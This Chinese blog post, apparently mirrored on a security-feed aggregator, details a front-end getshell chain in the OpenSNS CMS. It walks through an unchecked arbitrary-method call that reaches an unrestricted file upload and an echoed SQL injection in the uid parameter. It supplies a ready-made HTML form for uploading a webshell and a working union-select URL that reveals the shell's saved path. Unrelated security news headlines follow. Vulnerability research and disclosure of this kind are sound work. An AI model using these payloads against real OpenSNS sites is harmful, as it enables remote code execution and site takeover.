Aggregator
一点初心
opensns最新版前台getshell
其实这个漏洞是我作为90sec的开年礼物,不过直到今天才想到要搬到博客上来,也算是一种公开吧。大家作为学习就行,不要恶意利用攻击他人。
漏洞分析我们先看漏洞触发点:在/Application/Weibo/Controller/ShareController.class.php中第20行:
public function doSendShare(){ $aContent = I('post.content','','text'); $aQuery = I('post.query','','text'); parse_str($aQuery,$feed_data); if(empty($aContent)){ $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_')); } if(!is_login()){ $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_')); } $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']); $user = query_user(array('nickname'), is_login()); $info = D('Weibo/Share')->getInfo($feed_data);可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。
parse_str($aQuery,$feed_data);
然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:
在/Application/Weibo/Model/ShareModel.class.php中:
可以看到这里的形参$param就是我们传进来的$feed_data实参。
这里有一个操作很有意思:
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:
在/ThinkPHP/Common/functions.php中第616行:
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。
那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?
在/ThinkPHP/Conf/convention.php中有:
DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。
如上文所说
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。
好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。
刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数:
那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值,默认是null.
然后在第三行调用了upload()函数,我们追踪一下:
在/ThinkPHP/Library/Think/Upload.class.php中第128行:
public function upload($files = '') { if ('' === $files) { $files = $_FILES; } if (empty($files)) { $this->error = '没有上传的文件!'; return false; } /* 检测上传根目录 */ if (!$this->uploader->checkRootPath()) { $this->error = $this->uploader->getError(); return false; } /* 检查上传目录 */ if (!$this->uploader->checkSavePath($this->savePath)) { $this->error = $this->uploader->getError(); return false; } /* 逐个检测并上传文件 */ $info = array(); if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); } // 对上传文件数组信息处理 $files = $this->dealFiles($files); foreach ($files as $key => $file) { if (!isset($file['key'])) $file['key'] = $key; /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */ if (isset($finfo)) { $file['type'] = finfo_file($finfo, $file['tmp_name']); } /* 获取上传文件后缀,允许上传无后缀文件 */ $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION); /* 文件上传检测 */ if (!$this->check($file)) { continue; } /* 获取文件hash */ if ($this->hash) { $file['md5'] = md5_file($file['tmp_name']); $file['sha1'] = sha1_file($file['tmp_name']); } /* 调用回调函数检测文件是否存在 */ $data = call_user_func($this->callback, $file); if ($this->callback && $data) { $drconfig = $this->driverConfig; $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']); if (file_exists('.' . $data['path'])) { $info[$key] = $data; continue; } elseif ($this->uploader->info($fname)) { $info[$key] = $data; continue; } elseif ($this->removeTrash) { call_user_func($this->removeTrash, $data); //删除垃圾据 } } /* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) { continue; } else { $file['savename'] = $savename; //$file['name'] = $savename; } /* 检测并创建子目录 */ $subpath = $this->getSubPath($file['name']); if (false === $subpath) { continue; } else { $file['savepath'] = $this->savePath . $subpath; } /* 对图像文件进行严格检测 */ $ext = strtolower($file['ext']); if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) { $imginfo = getimagesize($file['tmp_name']); if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) { $this->error = '非法图像文件!'; continue; } } $file['rootPath'] = $this->config['rootPath']; $name = get_addon_class($this->driver); if (class_exists($name)) { $class = new $name(); if (method_exists($class, 'uploadDealFile')) { $class->uploadDealFile($file); } } /* 保存文件 并记录保存成功的文件 */ if ($this->uploader->save($file, $this->replace)) { unset($file['error'], $file['tmp_name']); $info[$key] = $file; } else { $this->error = $this->uploader->getError(); } } if (isset($finfo)) { finfo_close($finfo); } return empty($info) ? false : $info; } 这就是thinkphp内置的upload()函数了,我们主要看一下以下几点: if ('' === $files) { $files = $_FILES; }如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。
然后重点就是对于后缀检测的这里:
/* 文件上传检测 */ if (!$this->check($file)) { continue; } 调用了check()函数,我们追踪一下: 在该文件的294行: private function check($file) { /* 文件上传失败,捕获错误代码 */ if ($file['error']) { $this->error($file['error']); return false; } /* 无效上传 */ if (empty($file['name'])) { $this->error = '未知上传错误!'; } /* 检查是否合法上传 */ if (!is_uploaded_file($file['tmp_name'])) { $this->error = '非法上传文件!'; return false; } /* 检查文件大小 */ if (!$this->checkSize($file['size'])) { $this->error = '上传文件大小不符!'; return false; } /* 检查文件Mime类型 */ //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream if (!$this->checkMime($file['type'])) { $this->error = '上传文件MIME类型不允许!'; return false; } /* 检查文件后缀 */ if (!$this->checkExt($file['ext'])) { $this->error = '上传文件后缀不允许'; return false; } /* 通过检测 */ return true; }首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:
在该文件的380行:
private function checkMime($mime) { return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes); } 可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的, 而默认的$config是: private $config = array( 'mimes' => array(), //允许上传的文件MiMe类型 'maxSize' => 0, //上传的文件大小限制 (0-不做限制) 'exts' => array(), //允许上传的文件后缀 'autoSub' => true, //自动子目录保存文件 'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组 'rootPath' => './Uploads/', //保存根路径 'savePath' => '', //保存路径 'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 'saveExt' => '', //文件保存后缀,空则使用原后缀 'replace' => false, //存在同名是否覆盖 'hash' => true, //是否生成hash编码 'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组 'driver' => '', // 文件上传驱动 'driverConfig' => array(), // 上传驱动配置 );
所以这里肯定是返回true的,所以mime类型检测绕过了。
然后我们开始看后缀检测:
调用了一个checkExt()函数,我们追踪一下:
在389行:
private function checkExt($ext) { return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts); }可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。
但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:
$savename = $this->getSaveName($file);调用了一个getSaveName()函数,我们追踪一下:
在第398行:
private function getSaveName($file) { $rule = $this->saveName; if (empty($rule)) { //保持文件名不变 /* 解决pathinfo中文文件名BUG */ $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1); $savename = $filename; } else { $savename = $this->getName($rule, $file['name']); if (empty($savename)) { $this->error = '文件命名规则错误!'; return false; } }我们看一下我们的$this->saveName为多少,在默认的$config中有定义:
'saveName' => array('uniqid', ''),
所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,
那么又调用了一个getName()函数,我们追踪一下:
在该文件的第444行:
private function getName($rule, $filename) { $name = ''; if (is_array($rule)) { //数组规则 $func = $rule[0]; $param = (array)$rule[1]; foreach ($param as &$value) { $value = str_replace('__FILE__', $filename, $value); } $name = call_user_func_array($func, $param); } elseif (is_string($rule)) { //字符串规则 if (function_exists($rule)) { $name = call_user_func($rule); } else { $name = $rule; } } return $name; }
可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。
我们回到FileModel类的upload函数再去看一看:
if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id;
可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:
可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。
所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?
没错,就是通过注入!
注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。
所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:
public function information($uid = null) { //调用API获取基本信息 //TODO tox 获取省市区数据 $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid); 可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中: function query_user($pFields = null, $uid = 0) { $user_data = array();//用户数据 $fields = $this->getFields($pFields);//需要检索的字段 $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID //获取缓存过的字段,尽可能在此处命中全部数据 list($cacheResult, $fields) = $this->getCachedFields($fields, $uid); $user_data = $cacheResult;//用缓存初始用户数据 //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据 list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);这里有个细节很重要,就是看$uid重新赋值的时候:
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:
private function getNeedQueryData($user_data, $fields, $uid) { $need_query = array_intersect($this->table_fields, $fields); //如果有需要检索的数据 if (!empty($need_query)) { $db_prefix=C('DB_PREFIX'); $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); $query_result = $query_results[0]; $user_data = $this->combineUserData($user_data, $query_result); $fields = $this->popGotFields($fields, $need_query); $this->writeCache($uid, $query_result); } return array($user_data, $fields); }可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。
利用方式:在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)
然后我们开始构造上传表单:
<html> <body> <form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file_img" id="file" /> <br /> <input type="text" name="content" value="123" id="1" /> <input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>然后我们开始上传我们的webshell:
这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:
然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:
http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html
就能得到我们shell的保存路径了,如图:
那么最终shell的路径就是:
http://localhost/Uploads/2017-01-20/5881ce0db9438.php
Django 使用 order_by() 对数据进行排序操作
浅谈Discuz插件代码安全(内附0day)
Ramnit’s Twist: A Disappearing Configuration
How One Simple iOS Vulnerability Endangers Over 76 Apps
76 – that’s how many iOS apps out there that are currently laced with a security vulnerability. So, what exactly...
The post How One Simple iOS Vulnerability Endangers Over 76 Apps appeared first on McAfee Blog.
The Conflicting Obligations of a Security Leader
Q4 2016 DDoS Trends Report: 167 Percent Increase in Average Peak Attack Size from 2015 to 2016
Verisign just released its Q4 2016 DDoS Trends Report, which represents a unique view into the attack trends unfolding online, through observations and insights derived from distributed denial of service (DDoS) attack mitigations enacted on behalf of Verisign DDoS Protection Services and security research conducted by Verisign iDefense Intelligence Services. Overall, average peak attack sizes […]
The post Q4 2016 DDoS Trends Report: 167 Percent Increase in Average Peak Attack Size from 2015 to 2016 appeared first on Verisign Blog.
How Three Low-Risk Vulnerabilities Become One High
Transparency International New Zealand
The role of Government in protecting New Zealand’s important information - Andrew Hampton, Director, GCSB